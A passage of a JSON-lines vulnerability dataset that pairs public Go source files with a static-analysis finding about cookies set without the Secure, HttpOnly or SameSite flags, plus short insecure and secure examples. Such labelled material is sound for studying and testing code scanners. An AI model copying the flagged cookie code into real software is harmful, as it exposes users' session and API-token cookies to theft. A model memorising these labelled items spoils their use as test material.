URL\nfunc (r *PageRequest) EmbedView(url string, opts ...ViewOption) *View {\n\treturn EmbedView(url, opts...)\n}\n\n// RedirectView returns a View that redirects to the given URL\nfunc RedirectView(r *http.Request, url string, opts ...ViewOption) *View {\n\tv := &View{\n\t\tStatusCode: http.StatusOK,\n\t\tRedirect: url,\n\t}\n\tfor _, opt := range opts {\n\t\topt(v)\n\t}\n\tv.renderer = func(w http.ResponseWriter) {\n\t\thttp.Redirect(w, r, url, http.StatusSeeOther)\n\t}\n\treturn v\n}\n\n// RedirectView returns a View that redirects to the given URL\nfunc (r *PageRequest) RedirectView(url string, opts ...ViewOption) *View {\n\treturn RedirectView(r.Request, url, opts...)\n}\n\n// CopyView returns a View that copies the content of a http.Response\nfunc CopyView(resp *http.Response, opts ...ViewOption) *View {\n\tv := &View{\n\t\tStatusCode: resp.StatusCode,\n\t\tData: resp,\n\t}\n\tfor _, opt := range opts {\n\t\topt(v)\n\t}\n\tbytes, _ := ioutil.ReadAll(resp.Body)\n\tv.renderer = func(w http.ResponseWriter) {\n\t\tfor k, v := range resp.Header {\n\t\t\tw.Header().Set(k, v[0])\n\t\t}\n\t\tw.WriteHeader(v.StatusCode)\n\t\tw.Write(bytes)\n\t}\n\treturn v\n}\n\n// CopyView returns a View that copies the content of a http.Response\nfunc (r *PageRequest) CopyView(resp *http.Response, opts ...ViewOption) *View {\n\treturn CopyView(resp, opts...)\n}\n\n// AsyncCopyView returns a View that copies the content of a http.Response asynchronously\nfunc AsyncCopyView(resp *http.Response, opts ...ViewOption) *View {\n\tv := &View{\n\t\tStatusCode: resp.StatusCode,\n\t\tData: resp,\n\t\tcloser: resp.Body.Close,\n\t}\n\tfor _, opt := range opts {\n\t\topt(v)\n\t}\n\tv.renderer = func(w http.ResponseWriter) {\n\t\tfor k, v := range resp.Header {\n\t\t\tw.Header().Set(k, v[0])\n\t\t}\n\t\tw.WriteHeader(v.StatusCode)\n\t\tio.Copy(w, resp.Body)\n\t}\n\treturn v\n}\n\n// AsyncCopyView returns a View that copies the content of a http.Response asynchronously\nfunc (r *PageRequest) AsyncCopyView(resp *http.Response, opts ...ViewOption) *View {\n\treturn AsyncCopyView(resp, opts...)\n}\n\n// HandlerView returns a View that uses a http.HandlerFunc to render a response\nfunc HandlerView(r *http.Request, handler http.HandlerFunc, opts ...ViewOption) *View {\n\tv := &View{\n\t\tStatusCode: http.StatusOK,\n\t}\n\tfor _, opt := range opts {\n\t\topt(v)\n\t}\n\tv.renderer = func(w http.ResponseWriter) {\n\t\thandler(w, r)\n\t}\n\treturn v\n}\n\n// HandlerView returns a View that uses a http.HandlerFunc to render a response\nfunc (r *PageRequest) HandlerView(handler http.HandlerFunc, opts ...ViewOption) *View {\n\treturn HandlerView(r.Request, handler, opts...)\n}\n\n// FileView returns a View that serves a file\nfunc FileView(r *http.Request, file http.File, mime string, attachment bool, opts ...ViewOption) *View {\n\tv := &View{\n\t\tStatusCode: http.StatusOK,\n\t\tcloser: file.Close,\n\t}\n\tfor _, opt := range opts {\n\t\topt(v)\n\t}\n\tfi, err := file.Stat()\n\tif err != nil {\n\t\tv.Error = err\n\t\tv.renderer = func(w http.ResponseWriter) {\n\t\t\tdefaultErrorRenderer(w, r, err.Error(), http.StatusInternalServerError)\n\t\t}\n\t\treturn v\n\t}\n\tv.renderer = func(w http.ResponseWriter) {\n\t\tif attachment {\n\t\t\tw.Header().Set(\"Content-Disposition\", fmt.Sprintf(\"attachment; filename=%q\", fi.Name()))\n\t\t}\n\t\tif len(mime) > 0 {\n\t\t\tw.Header().Set(\"Content-Type\", mime)\n\t\t}\n\t\thttp.ServeContent(w, r, fi.Name(), fi.ModTime(), file)\n\t}\n\treturn v\n}\n\n// FileView returns a View that serves a file\nfunc (r *PageRequest) FileView(file http.File, mime string, attachment bool, opts ...ViewOption) *View {\n\treturn FileView(r.Request, file, mime, attachment, opts...)\n}", "dangerousExampleEn": "1. func Dan_Cookie(c *gin.Context) {\n2. \tcookie := &http.Cookie{\n3. \t\tName: \"test_Cookie\",\n4. \t\tValue: \"test\",\n5. \t\tPath: \"/\",\n6. \t\tMaxAge: 60 * 60 * 24 * 365,\n7. \t}\n8. \thttp.SetCookie(c.Writer, cookie)\n9. \tc.String(http.StatusOK, \"success\")\n10. }\nLine 8: This is insecure because the application is exposed to multiple vulnerabilities due to the undeclared secure cookie flags.", "safeExampleEn": "1. func Safe_Cookie(c *gin.Context) {\n2. \tcookie := &http.Cookie{\n3. \t\tName: \"test_Cookie\",\n4. \t\tValue: \"test\",\n5. \t\tHttpOnly: true,\n6. \t\tSecure: true,\n7. \t\tPath: \"/\",\n8. \t\tMaxAge: 60 * 60,\n9. \t\tSameSite: http.SameSiteStrictMode,\n10. \t}\n11. \thttp.SetCookie(c.Writer, cookie)\n12. \tc.String(http.StatusOK, \"success\")\n13. }\nLine 11: This is secure because the Secure, HttpOnly, and SameSite flags are securely configured in the cookie settings.", "contexts": [{"lineNo": 31, "eventType": "sink", "messageKey": "gochk.IMPROPER_COOKIE_FLAG_SETTING.GO.defect", "params": {}}]}} {"id": "1ea22a3b4e2741730af8d3f93c43b38312a1e529164b197d156fc52234ef027c", "license": {"spdx": ["Apache-2.0"], "repo": "zamj/evergreen", "path": "service/user.go", "repo_head_hexsha": "e61e893780246ff0037f778f67f17d373d659e30", "stack_hexsha": "398a36d141349b43fd8f9396ec2d6659f87dacac", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Improper Cookie Flag Setting", "issueDescriptionEn": "Cookie settings should be properly managed in web application development. When the cookies are not properly set, this can lead to security vulnerabilities such as Session hijacking, XSS, and CSRF. To protect your cookies against the attacks, set secure cookie flags i.e. Secure, HttpOnly, SameSite.\n\n1. Secure: The Secure flag ensures that cookies are sent only over the HTTPS protocol. Therefore, it will prevent cookie information from being exposed by man-in-the-middle attacks.\n2. HttpOnly: Enabling the HttpOnly flag prevents cookies from being accessed via JavaScript, enhancing protection against XSS attacks.\n3. SameSite: The SameSite flag bans sending cookies with cross-site requests, thereby protecting the cookies against CSRF attacks.\nIn Go, you can use the `http.SetCookie` function in the `net/http` package to configure secure cookie flags. The `Secure` and `HttpOnly` flags should always be set to `true`, and it is safe to set the `SameSite` flag to `Lax` or stricter.", "issueLineNumber": 54, "entireCode": "package service\n\nimport (\n\t\"fmt\"\n\t\"net/http\"\n\t\"strings\"\n\t\"time\"\n\n\t\"github.com/evergreen-ci/evergreen\"\n\t\"github.com/evergreen-ci/evergreen/model\"\n\t\"github.com/evergreen-ci/evergreen/model/user\"\n\t\"github.com/evergreen-ci/evergreen/util\"\n\t\"github.com/evergreen-ci/gimlet\"\n\t\"github.com/evergreen-ci/utility\"\n\t\"github.com/mongodb/grip\"\n\t\"github.com/mongodb/grip/message\"\n\t\"github.com/pkg/errors\"\n)\n\nfunc (uis *UIServer) loginPage(w http.ResponseWriter, r *http.Request) {\n\tif uis.env.UserManager().IsRedirect() {\n\t\thttp.Redirect(w, r, \"/login/redirect\", http.StatusFound)\n\t\treturn\n\t}\n\tuis.render.WriteResponse(w, http.StatusOK, nil, \"base\", \"login.html\", \"base_angular.html\")\n}\n\nfunc (uis *UIServer) login(w http.ResponseWriter, r *http.Request) {\n\tcreds := struct {\n\t\tUsername string `json:\"username\"`\n\t\tPassword string `json:\"password\"`\n\t}{}\n\n\tif err := utility.ReadJSON(util.NewRequestReader(r), &creds); err != nil {\n\t\thttp.Error(w, fmt.Sprintf(\"Invalid JSON: %v\", err), http.StatusBadRequest)\n\t\treturn\n\t}\n\n\tif creds.Username == \"\" || creds.Password == \"\" {\n\t\thttp.Error(w, fmt.Sprintf(\"Username and password are required\"), http.StatusBadRequest)\n\t\treturn\n\t}\n\n\ttoken, err := uis.env.UserManager().CreateUserToken(creds.Username, creds.Password)\n\tif err != nil {\n\t\tgrip.Error(message.WrapError(err, message.Fields{\n\t\t\t\"message\": \"error creating user token\",\n\t\t}))\n\t\thttp.Error(w, \"Invalid username/password\", http.StatusUnauthorized)\n\t\treturn\n\t}\n\n\tif uis.Settings.Ui.ExpireLoginCookieDomain != \"\" {\n\t\thttp.SetCookie(w, &http.Cookie{\n\t\t\tName: evergreen.AuthTokenCookie,\n\t\t\tValue: \"\",\n\t\t\tPath: \"/\",\n\t\t\tHttpOnly: true,\n\t\t\tExpires: time.Now().Add(-1 * time.Hour),\n\t\t\tDomain: uis.Settings.Ui.ExpireLoginCookieDomain,\n\t\t})\n\t}\n\tuis.umconf.AttachCookie(token, w)\n\tgimlet.WriteJSON(w, map[string]string{})\n}\n\nfunc (uis *UIServer) userGetKey(w http.ResponseWriter, r *http.Request) {\n\tcreds := struct {\n\t\tUsername string `json:\"username\"`\n\t\tPassword string `json:\"password\"`\n\t}{}\n\n\tif err := utility.ReadJSON(util.NewRequestReader(r), &creds); err != nil {\n\t\tgimlet.WriteResponse(w, gimlet.MakeJSONErrorResponder(gimlet.ErrorResponse{\n\t\t\tMessage: \"malformed request\",\n\t\t\tStatusCode: http.StatusBadRequest,\n\t\t}))\n\t\treturn\n\t}\n\n\tif creds.Username == \"\" || creds.Password == \"\" {\n\t\tgimlet.WriteResponse(w, gimlet.MakeJSONErrorResponder(gimlet.ErrorResponse{\n\t\t\tMessage: \"user not specified\",\n\t\t\tStatusCode: http.StatusBadRequest,\n\t\t}))\n\t\treturn\n\t}\n\n\ttoken, err := uis.env.UserManager().CreateUserToken(creds.Username, creds.Password)\n\tif err != nil {\n\t\tgimlet.WriteResponse(w, gimlet.MakeJSONErrorResponder(gimlet.ErrorResponse{\n\t\t\tMessage: \"could not find user\",\n\t\t\tStatusCode: http.StatusUnauthorized,\n\t\t}))\n\t\treturn\n\t}\n\tif uis.Settings.Ui.ExpireLoginCookieDomain != \"\" {\n\t\thttp.SetCookie(w, &http.Cookie{\n\t\t\tName: evergreen.AuthTokenCookie,\n\t\t\tValue: \"\",\n\t\t\tPath: \"/\",\n\t\t\tHttpOnly: true,\n\t\t\tExpires: time.Now().Add(-1 * time.Hour),\n\t\t\tDomain: uis.Settings.Ui.ExpireLoginCookieDomain,\n\t\t})\n\t}\n\tuis.umconf.AttachCookie(token, w)\n\n\tuser, err := uis.env.UserManager().GetUserByToken(r.Context(), token)\n\tif err != nil {\n\t\tgimlet.WriteResponse(w, gimlet.MakeJSONErrorResponder(gimlet.ErrorResponse{\n\t\t\tMessage: \"could not find user\",\n\t\t\tStatusCode: http.StatusUnauthorized,\n\t\t}))\n\t\treturn\n\t}\n\n\tkey := user.GetAPIKey()\n\tif key == \"\" {\n\t\tkey = utility.RandomString()\n\t\tif err := model.SetUserAPIKey(user.Username(), key); err != nil {\n\t\t\tgimlet.WriteResponse(w, gimlet.MakeJSONErrorResponder(gimlet.ErrorResponse{\n\t\t\t\tMessage: \"could not generate key\",\n\t\t\t\tStatusCode: http.StatusInternalServerError,\n\t\t\t}))\n\t\t\treturn\n\t\t}\n\t}\n\n\tout := struct {\n\t\tUser string `json:\"user\" yaml:\"user\" `\n\t\tKey string `json:\"api_key\" yaml:\"api_key\"`\n\t\tUI string `json:\"ui_server_host\" yaml:\"ui_server_host\"`\n\t\tAPI string `json:\"api_server_host\" yaml:\"api_server_host\"`\n\t}{\n\t\tUser: creds.Username,\n\t\tKey: key,\n\t\tUI: uis.RootURL,\n\t\tAPI: uis.RootURL + \"/api\",\n\t}\n\n\tif ct := r.Header.Get(\"content-type\"); strings.Contains(ct, \"yaml\") {\n\t\tgimlet.WriteYAML(w, out)\n\t} else {\n\t\tgimlet.WriteJSON(w, out)\n\t}\n}\n\nfunc (uis *UIServer) logout(w http.ResponseWriter, r *http.Request) {\n\tuis.umconf.ClearCookie(w)\n\tif uis.Settings.Ui.ExpireLoginCookieDomain != \"\" {\n\t\thttp.SetCookie(w, &http.Cookie{\n\t\t\tName: evergreen.AuthTokenCookie,\n\t\t\tValue: \"\",\n\t\t\tPath: \"/\",\n\t\t\tHttpOnly: true,\n\t\t\tExpires: time.Now().Add(-1 * time.Hour),\n\t\t\tDomain: uis.Settings.Ui.ExpireLoginCookieDomain,\n\t\t})\n\t}\n\tloginURL := fmt.Sprintf(\"%v/login\", uis.RootURL)\n\thttp.Redirect(w, r, loginURL, http.StatusFound)\n}\n\nfunc (uis *UIServer) newAPIKey(w http.ResponseWriter, r *http.Request) {\n\tcurrentUser := MustHaveUser(r)\n\tnewKey := utility.RandomString()\n\tif err := model.SetUserAPIKey(currentUser.Id, newKey); err != nil {\n\t\tuis.LoggedError(w, r, http.StatusInternalServerError, errors.Wrap(err, \"failed saving key\"))\n\t\treturn\n\t}\n\tgimlet.WriteJSON(w, struct {\n\t\tKey string `json:\"key\"`\n\t}{newKey})\n}\n\nfunc (uis *UIServer) clearUserToken(w http.ResponseWriter, r *http.Request) {\n\tu := MustHaveUser(r)\n\tif err := uis.env.UserManager().ClearUser(u, false); err != nil {\n\t\tgimlet.WriteJSONInternalError(w, struct {\n\t\t\tError string `json:\"error\"`\n\t\t}{Error: err.Error()})\n\t} else {\n\t\tgimlet.WriteJSON(w, map[string]string{})\n\t}\n}\n\nfunc (uis *UIServer) userSettingsPage(w http.ResponseWriter, r *http.Request) {\n\tcurrentUser := MustHaveUser(r)\n\tsettingsData := currentUser.Settings\n\n\ttype confFile struct {\n\t\tUser string `json:\"user\"`\n\t\tAPIKey string `json:\"api_key\"`\n\t\tAPIHost string `json:\"api_server_host\"`\n\t\tUIHost string `json:\"ui_server_host\"`\n\t\tRegions []string `json:\"regions\"`\n\t}\n\tregions := []string{}\n\tfor _, item := range uis.Settings.Providers.AWS.EC2Keys {\n\t\tregions = append(regions, item.Region)\n\t}\n\texampleConf := confFile{currentUser.Id, currentUser.APIKey, uis.Settings.ApiUrl + \"/api\", uis.Settings.Ui.Url, regions}\n\tuis.render.WriteResponse(w, http.StatusOK, struct {\n\t\tData user.UserSettings\n\t\tConfig confFile\n\t\tBinaries []evergreen.ClientBinary\n\t\tGithubUser string\n\t\tGithubUID int\n\t\tCanClearTokens bool\n\t\tViewData\n\t}{settingsData, exampleConf, uis.clientConfig.ClientBinaries, currentUser.Settings.GithubUser.LastKnownAs,\n\t\tcurrentUser.Settings.GithubUser.UID, uis.env.UserManagerInfo().CanClearTokens, uis.GetCommonViewData(w, r, true, true)},\n\t\t\"base\", \"settings.html\", \"base_angular.html\", \"menu.html\")\n}", "dangerousExampleEn": "1. func Dan_Cookie(c *gin.Context) {\n2. \tcookie := &http.Cookie{\n3. \t\tName: \"test_Cookie\",\n4. \t\tValue: \"test\",\n5. \t\tPath: \"/\",\n6. \t\tMaxAge: 60 * 60 * 24 * 365,\n7. \t}\n8. \thttp.SetCookie(c.Writer, cookie)\n9. \tc.String(http.StatusOK, \"success\")\n10. }\nLine 8: This is insecure because the application is exposed to multiple vulnerabilities due to the undeclared secure cookie flags.", "safeExampleEn": "1. func Safe_Cookie(c *gin.Context) {\n2. \tcookie := &http.Cookie{\n3. \t\tName: \"test_Cookie\",\n4. \t\tValue: \"test\",\n5. \t\tHttpOnly: true,\n6. \t\tSecure: true,\n7. \t\tPath: \"/\",\n8. \t\tMaxAge: 60 * 60,\n9. \t\tSameSite: http.SameSiteStrictMode,\n10. \t}\n11. \thttp.SetCookie(c.Writer, cookie)\n12. \tc.String(http.StatusOK, \"success\")\n13. }\nLine 11: This is secure because the Secure, HttpOnly, and SameSite flags are securely configured in the cookie settings.", "contexts": [{"lineNo": 54, "eventType": "sink", "messageKey": "gochk.IMPROPER_COOKIE_FLAG_SETTING.GO.defect", "params": {}}]}} {"id": "08ef37cc94e13c87d8e167f63db578d5a935f2d63b90c4cffe36764fda7a4153", "license": {"spdx": ["BSD-3-Clause"], "repo": "alex-snap/identityserver", "path": "siteservice/session.go", "repo_head_hexsha": "2d1e6cebfee4492a5c98d169097a9811015def64", "stack_hexsha": "fcab56c17d8242b731e25220f511fc1127ce4916", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Improper Cookie Flag Setting", "issueDescriptionEn": "Cookie settings should be properly managed in web application development. When the cookies are not properly set, this can lead to security vulnerabilities such as Session hijacking, XSS, and CSRF. To protect your cookies against the attacks, set secure cookie flags i.e. Secure, HttpOnly, SameSite.\n\n1. Secure: The Secure flag ensures that cookies are sent only over the HTTPS protocol. Therefore, it will prevent cookie information from being exposed by man-in-the-middle attacks.\n2. HttpOnly: Enabling the HttpOnly flag prevents cookies from being accessed via JavaScript, enhancing protection against XSS attacks.\n3. SameSite: The SameSite flag bans sending cookies with cross-site requests, thereby protecting the cookies against CSRF attacks.\nIn Go, you can use the `http.SetCookie` function in the `net/http` package to configure secure cookie flags. The `Secure` and `HttpOnly` flags should always be set to `true`, and it is safe to set the `SameSite` flag to `Lax` or stricter.", "issueLineNumber": 73, "entireCode": "package siteservice\n\nimport (\n\t\"encoding/base64\"\n\t\"net/http\"\n\n\tlog \"github.com/Sirupsen/logrus\"\n\t\"github.com/gorilla/sessions\"\n\n\t\"time\"\n\n\t\"github.com/gorilla/context\"\n)\n\n//SessionType is used to define the type of session\ntype SessionType int\n\nconst (\n\t//SessionForRegistration is the short anynymous session used during registration\n\tSessionForRegistration SessionType = iota\n\t//SessionInteractive is the session of an authenticated user on the itsyou.online website\n\tSessionInteractive SessionType = iota\n\t//SessionLogin is the session during the login flow\n\tSessionLogin SessionType = iota\n\t//SessionOauth is the session during an oauth flow\n\tSessionOauth SessionType = iota\n)\n\n//initializeSessionStore creates a cookieStore\n// mageAge is the maximum age in seconds\nfunc initializeSessionStore(cookieSecret string, maxAge int) (sessionStore *sessions.CookieStore) {\n\tsessionStore = sessions.NewCookieStore([]byte(cookieSecret))\n\tsessionStore.Options.HttpOnly = true\n\n\tsessionStore.Options.Secure = true\n\tsessionStore.Options.MaxAge = maxAge\n\treturn\n}\n\nfunc (service *Service) initializeSessions(cookieSecret string) {\n\tservice.Sessions = make(map[SessionType]*sessions.CookieStore)\n\n\tservice.Sessions[SessionForRegistration] = initializeSessionStore(cookieSecret, 10*60)\n\tservice.Sessions[SessionInteractive] = initializeSessionStore(cookieSecret, 10*60)\n\tservice.Sessions[SessionLogin] = initializeSessionStore(cookieSecret, 5*60)\n\tservice.Sessions[SessionOauth] = initializeSessionStore(cookieSecret, 10*60)\n\n}\n\n//GetSession returns the a session of the specified kind and a specific name\nfunc (service *Service) GetSession(request *http.Request, kind SessionType, name string) (*sessions.Session, error) {\n\treturn service.Sessions[kind].Get(request, name)\n}\n\n//SetLoggedInUser creates a session for an authenticated user and clears the login session\nfunc (service *Service) SetLoggedInUser(w http.ResponseWriter, request *http.Request, username string) (err error) {\n\tauthenticatedSession, err := service.GetSession(request, SessionInteractive, \"authenticatedsession\")\n\tif err != nil {\n\t\tlog.Error(err)\n\t\treturn\n\t}\n\tauthenticatedSession.Values[\"username\"] = username\n\n\t//TODO: rework this, is not really secure I think\n\t// Set user cookie after successful login\n\t// base64 encode the username. Use standard encoding to enable decoding by native javascript\n\t// functions\n\tcookie := &http.Cookie{\n\t\tName: \"itsyou.online.user\",\n\t\tPath: \"/\",\n\t\tValue: base64.StdEncoding.EncodeToString([]byte(username)),\n\t}\n\thttp.SetCookie(w, cookie)\n\n\t// Clear login session\n\tloginCookie := &http.Cookie{\n\t\tName: \"loginsession\",\n\t\tPath: \"/\",\n\t\tValue: \"\",\n\t\tExpires: time.Unix(1, 0),\n\t}\n\thttp.SetCookie(w, loginCookie)\n\n\treturn\n}\n\n// SetOauthUser creates a protected session after an oauth flow and clears the login session\n// Also sets the clientID and state\nfunc (service *Service) SetLoggedInOauthUser(w http.ResponseWriter, r *http.Request, username /*, clientId, state*/ string) (err error) {\n\toauthSession, err := service.GetSession(r, SessionOauth, \"oauthsession\")\n\tif err != nil {\n\t\tlog.Error(err)\n\t\treturn\n\t}\n\toauthSession.Values[\"username\"] = username\n\n\t// No need to set a user cookie since we don't pass through the UI\n\n\t// Clear login session\n\tloginCookie := &http.Cookie{\n\t\tName: \"loginsession\",\n\t\tPath: \"/\",\n\t\tValue: \"\",\n\t\tExpires: time.Unix(1, 0),\n\t}\n\thttp.SetCookie(w, loginCookie)\n\n\treturn\n}\n\n//SetAPIAccessToken sets the api access token in a cookie\n//TODO: is not safe to do. Now there are also two ways of passing tokens to the client\nfunc (service *Service) SetAPIAccessToken(w http.ResponseWriter, token string) (err error) {\n\t// Set token cookie\n\tcookie := &http.Cookie{\n\t\tName: \"itsyou.online.apitoken\",\n\t\tPath: \"/\",\n\t\tValue: token,\n\t}\n\thttp.SetCookie(w, cookie)\n\n\treturn\n}\n\n//GetLoggedInUser returns an authenticated user, or an empty string if there is none\nfunc (service *Service) GetLoggedInUser(request *http.Request, w http.ResponseWriter) (username string, err error) {\n\tauthenticatedSession, err := service.GetSession(request, SessionInteractive, \"authenticatedsession\")\n\tif err != nil {\n\t\tlog.Error(err)\n\t\treturn\n\t}\n\terr = authenticatedSession.Save(request, w)\n\tif err != nil {\n\t\tlog.Error(err)\n\t\treturn\n\t}\n\tsavedusername := authenticatedSession.Values[\"username\"]\n\tif savedusername != nil {\n\t\tusername, _ = savedusername.(string)\n\t}\n\treturn\n}\n\n// GetOauthUser returns the user in an oauth session, or an empty string if there is none\nfunc (service *Service) GetOauthUser(r *http.Request, w http.ResponseWriter) (username string, err error) {\n\toauthSession, err := service.GetSession(r, SessionOauth, \"oauthsession\")\n\tif err != nil {\n\t\tlog.Error(err)\n\t\treturn\n\t}\n\terr = oauthSession.Save(r, w)\n\tif err != nil {\n\t\tlog.Error(err)\n\t\treturn\n\t}\n\tsavedusername := oauthSession.Values[\"username\"]\n\tif savedusername != nil {\n\t\tusername, _ = savedusername.(string)\n\t}\n\treturn\n}\n\n//SetWebUserMiddleWare puthe the authenticated user on the context\nfunc (service *Service) SetWebUserMiddleWare(next http.Handler) http.Handler {\n\treturn http.HandlerFunc(func(w http.ResponseWriter, request *http.Request) {\n\t\tif username, err := service.GetLoggedInUser(request, w); err == nil {\n\t\t\tcontext.Set(request, \"webuser\", username)\n\t\t}\n\n\t\tnext.ServeHTTP(w, request)\n\t})\n}", "dangerousExampleEn": "1. func Dan_Cookie(c *gin.Context) {\n2. \tcookie := &http.Cookie{\n3. \t\tName: \"test_Cookie\",\n4. \t\tValue: \"test\",\n5. \t\tPath: \"/\",\n6. \t\tMaxAge: 60 * 60 * 24 * 365,\n7. \t}\n8. \thttp.SetCookie(c.Writer, cookie)\n9. \tc.String(http.StatusOK, \"success\")\n10. }\nLine 8: This is insecure because the application is exposed to multiple vulnerabilities due to the undeclared secure cookie flags.", "safeExampleEn": "1. func Safe_Cookie(c *gin.Context) {\n2. \tcookie := &http.Cookie{\n3. \t\tName: \"test_Cookie\",\n4. \t\tValue: \"test\",\n5. \t\tHttpOnly: true,\n6. \t\tSecure: true,\n7. \t\tPath: \"/\",\n8. \t\tMaxAge: 60 * 60,\n9. \t\tSameSite: http.SameSiteStrictMode,\n10. \t}\n11. \thttp.SetCookie(c.Writer, cookie)\n12. \tc.String(http.StatusOK, \"success\")\n13. }\nLine 11: This is secure because the Secure, HttpOnly, and SameSite flags are securely configured in the cookie settings.", "contexts": [{"lineNo": 73, "eventType": "sink", "messageKey": "gochk.IMPROPER_COOKIE_FLAG_SETTING.GO.defect", "params": {}}]}} {"id": "694cf87dee4dcd6d24fc6e1d9de615f488469982d840fd3e1bd023263cee4edb", "license": {"spdx": ["BSD-3-Clause"], "repo": "yubo/golib", "path": "net/session/session_test.go", "repo_head_hexsha": "0b746ece783f33e997f9ac63f04c65920b7cad22", "stack_hexsha": "7b1b15a6c4af7378f1a84fad2c544fc1dc0f160a", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Improper Cookie Flag Setting", "issueDescriptionEn": "Cookie settings should be properly managed in web application development. When the cookies are not properly set, this can lead to security vulnerabilities such as Session hijacking, XSS, and CSRF. To protect your cookies against the attacks, set secure cookie flags i.e. Secure, HttpOnly, SameSite.\n\n1. Secure: The Secure flag ensures that cookies are sent only over the HTTPS protocol. Therefore, it will prevent cookie information from being exposed by man-in-the-middle attacks.\n2. HttpOnly: Enabling the HttpOnly flag prevents cookies from being accessed via JavaScript, enhancing protection against XSS attacks.\n3. SameSite: The SameSite flag bans sending cookies with cross-site requests, thereby protecting the cookies against CSRF attacks.\nIn Go, you can use the `http.SetCookie` function in the `net/http` package to configure secure cookie flags. The `Secure` and `HttpOnly` flags should always be set to `true`, and it is safe to set the `SameSite` flag to `Lax` or stricter.", "issueLineNumber": 112, "entireCode": "package session\n\nimport (\n\t\"bytes\"\n\t\"context\"\n\t\"database/sql\"\n\t\"net/http\"\n\t\"net/http/httptest\"\n\t\"net/url\"\n\t\"testing\"\n\t\"time\"\n\n\t\"github.com/yubo/golib/orm\"\n\t_ \"github.com/yubo/golib/orm/sqlite\"\n\t\"github.com/yubo/golib/util/clock\"\n)\n\nvar (\n\tdriver = \"sqlite3\"\n\tdsn = \"file:test.db?cache=shared&mode=memory\"\n\tavailable bool\n\tdb orm.DB\n)\n\nfunc init() {\n\tvar err error\n\n\tif db, err = orm.Open(driver, dsn); err == nil {\n\t\tif err = db.RawDB().Ping(); err == nil {\n\t\t\tavailable = true\n\t\t}\n\t\tdb.Close()\n\t}\n}\n\nfunc mustExec(t *testing.T, db orm.DB, query string, args ...interface{}) (res sql.Result) {\n\tres, err := db.Exec(query, args...)\n\tif err != nil {\n\t\tif len(query) > 300 {\n\t\t\tquery = \"[query too large to print]\"\n\t\t}\n\t\tt.Fatalf(\"error on %s: %s\", query, err.Error())\n\t}\n\treturn res\n}\n\nfunc TestDbSession(t *testing.T) {\n\tvar (\n\t\tsess SessionManager\n\t\tstore Session\n\t\terr error\n\t\tsid string\n\t)\n\n\tif !available {\n\t\tt.Skipf(\"SQL server not running on %s\", dsn)\n\t}\n\n\tcf := &Config{\n\t\tCookieName: \"test_sid\",\n\t\tSidLength: 24,\n\t\tHttpOnly: true,\n\t\tDomain: \"\",\n\t\tDsn: dsn,\n\t\tgcInterval: time.Minute,\n\t\tcookieLifetime: 24 * time.Hour,\n\t}\n\n\tctx, cancel := context.WithCancel(context.Background())\n\tdb, _ := orm.Open(driver, dsn, orm.WithContext(ctx))\n\n\tif sess, err = StartSession(cf, WithCtx(ctx), WithDB(db)); err != nil {\n\t\tt.Fatalf(\"error NewSession: %s\", err.Error())\n\t}\n\tdefer cancel()\n\n\tmustExec(t, db, \"DROP TABLE IF EXISTS session;\")\n\tmustExec(t, db, CREATE_TABLE_SQLITE)\n\tdefer db.Exec(\"DROP TABLE IF EXISTS session\")\n\n\tr, _ := http.NewRequest(\"GET\", \"\", bytes.NewBuffer([]byte{}))\n\tw := httptest.NewRecorder()\n\n\tif store, err = sess.Start(w, r); err != nil {\n\t\tt.Fatalf(\"session.Start(): %s\", err.Error())\n\t}\n\n\tif n := sess.All(); n != 1 {\n\t\tt.Fatalf(\"sess.All() got %d want %d\", n, 1)\n\t}\n\n\tstore.Set(\"abc\", \"11223344\")\n\tif err = store.Update(w); err != nil {\n\t\tt.Fatalf(\"store.Update(w) got err %s \", err.Error())\n\t}\n\tsid = store.Sid()\n\n\t// new request\n\tr, _ = http.NewRequest(\"GET\", \"\", bytes.NewBuffer([]byte{}))\n\tw = httptest.NewRecorder()\n\n\tcookie := &http.Cookie{\n\t\tName: cf.CookieName,\n\t\tValue: url.QueryEscape(sid),\n\t\tPath: \"/\",\n\t\tHttpOnly: cf.HttpOnly,\n\t\tDomain: cf.Domain,\n\t}\n\tif cf.CookieLifetime > 0 {\n\t\tcookie.Expires = time.Now().Add(cf.cookieLifetime)\n\t}\n\thttp.SetCookie(w, cookie)\n\tr.AddCookie(cookie)\n\tif store, err = sess.Start(w, r); err != nil {\n\t\tt.Fatalf(\"session.Start(): %s\", err.Error())\n\t}\n\n\tif n := sess.All(); n != 1 {\n\t\tt.Fatalf(\"sess.All() got %d want %d\", n, 1)\n\t}\n\n\tif v := store.Get(\"abc\"); v != \"11223344\" {\n\t\tt.Fatalf(\"store.Get('abc') got %s want %s\", v, \"11223344\")\n\t}\n\n\tstore.Set(\"abc\", \"22334455\")\n\n\tif v := store.Get(\"abc\"); v != \"22334455\" {\n\t\tt.Fatalf(\"store.Get('abc') got %s want %s\", v, \"22334455\")\n\t}\n\n\tsess.Destroy(w, r)\n\tif n := sess.All(); n != 0 {\n\t\tt.Fatalf(\"sess.All() got %d want %d\", n, 0)\n\t}\n\n}\n\nfunc TestDbSessionGC(t *testing.T) {\n\tvar (\n\t\tsess SessionManager\n\t\terr error\n\t)\n\n\tif !available {\n\t\tt.Skipf(\"SQL server not running on %s\", dsn)\n\t}\n\n\tcf := &Config{\n\t\tCookieName: \"test_sid\",\n\t\tSidLength: 24,\n\t\tHttpOnly: true,\n\t\tDomain: \"\",\n\t\tDsn: dsn,\n\t\tgcInterval: time.Second,\n\t\tcookieLifetime: 24 * time.Hour,\n\t}\n\n\tctx, cancel := context.WithCancel(context.Background())\n\tdb, _ := orm.Open(driver, dsn, orm.WithContext(ctx))\n\tclock := &clock.FakeClock{}\n\tclock.SetTime(time.Now())\n\n\tif sess, err = StartSession(cf, WithCtx(ctx), WithDB(db), WithClock(clock)); err != nil {\n\t\tt.Fatalf(\"error NewSession: %s\", err.Error())\n\t}\n\tdefer cancel()\n\n\tmustExec(t, db, \"DROP TABLE IF EXISTS session;\")\n\tmustExec(t, db, CREATE_TABLE_SQLITE)\n\tdefer db.Exec(\"DROP TABLE IF EXISTS session\")\n\n\tr, _ := http.NewRequest(\"GET\", \"\", bytes.NewBuffer([]byte{}))\n\tw := httptest.NewRecorder()\n\n\tif _, err = sess.Start(w, r); err != nil {\n\t\tt.Fatalf(\"session.Start(): %s\", 